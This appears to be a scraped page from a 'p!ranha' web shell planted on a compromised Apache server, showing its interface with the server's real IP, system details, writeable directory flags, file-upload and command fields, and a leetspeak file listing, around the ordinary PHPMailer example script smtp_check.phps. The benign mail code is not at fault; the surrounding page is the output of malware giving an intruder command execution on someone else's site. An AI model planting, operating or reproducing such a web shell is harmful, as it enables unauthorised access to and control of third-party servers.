p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/PHPMailer/examples/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/PHPMailer/examples/smtp_check.phps
<?php
/**
 * This uses the SMTP class alone to check that a connection can be made to an SMTP server,
 * authenticate, then disconnect
 */

//SMTP needs accurate times, and the PHP time zone MUST be set
//This should be done in your php.ini, but this is how to do it if you don't have access to that
date_default_timezone_set('Etc/UTC');

require '../PHPMailerAutoload.php';

//Create a new SMTP instance
$smtp = new SMTP;

//Enable connection-level debug output
$smtp->do_debug = SMTP::DEBUG_CONNECTION;

try {
    //Connect to an SMTP server
    if (!$smtp->connect('mail.example.com', 25)) {
        throw new Exception('Connect failed');
    }
    //Say hello
    if (!$smtp->hello(gethostname())) {
        throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
    }
    //Get the list of ESMTP services the server offers
    $e = $smtp->getServerExtList();
    //If server can do TLS encryption, use it
    if (is_array($e) && array_key_exists('STARTTLS', $e)) {
        $tlsok = $smtp->startTLS();
        if (!$tlsok) {
            throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
        }
        //Repeat EHLO after STARTTLS
        if (!$smtp->hello(gethostname())) {
            throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
        }
        //Get new capabilities list, which will usually now include AUTH if it didn't before
        $e = $smtp->getServerExtList();
    }
    //If server supports authentication, do it (even if no encryption)
    if (is_array($e) && array_key_exists('AUTH', $e)) {
        if ($smtp->authenticate('username', 'password')) {
            echo "Connected ok!";
        } else {
            throw new Exception('Authentication failed: ' . $smtp->getError()['error']);
        }
    }
} catch (Exception $e) {
    echo 'SMTP error: ' . $e->getMessage(), "\n";
}
//Whatever happened, close the connection.
$smtp->quit(true);
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:49:12
1000 / 1000
0755
images
--
December 21 2023 09:49:09
1000 / 1000
0755
scripts
--
December 21 2023 09:49:10
1000 / 1000
0755
styles
--
December 21 2023 09:49:12
1000 / 1000
0755
DKIM.phps
1.305 KB
January 13 2024 08:46:07
1000 / 1000
0755
code_generator.phps
26.819 KB
January 13 2024 08:46:07
1000 / 1000
0755
contactform.phps
2.403 KB
January 13 2024 08:46:07
1000 / 1000
0755
contents.html
0.63 KB
January 13 2024 08:46:07
1000 / 1000
0755
contentsutf8.html
0.887 KB
January 13 2024 08:46:07
1000 / 1000
0755
exceptions.phps
1.447 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail.phps
2.114 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail_xoauth.phps
2.614 KB
January 13 2024 08:46:07
1000 / 1000
0755
index.html
6.142 KB
January 13 2024 08:46:07
1000 / 1000
0755
mail.phps
1.038 KB
January 13 2024 08:46:07
1000 / 1000
0755
mailing_list.phps
2.243 KB
January 13 2024 08:46:07
1000 / 1000
0755
pop_before_smtp.phps
2.145 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_file_upload.phps
1.644 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_multiple_file_upload.phps
1.566 KB
January 13 2024 08:46:08
1000 / 1000
0755
sendmail.phps
1.108 KB
January 13 2024 08:46:08
1000 / 1000
0755
signed-mail.phps
4.104 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp.phps
1.831 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_check.phps
1.894 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_no_auth.phps
1.702 KB
January 13 2024 08:46:08
1000 / 1000
0755
ssl_options.phps
2.027 KB
January 13 2024 08:46:08
1000 / 1000
0755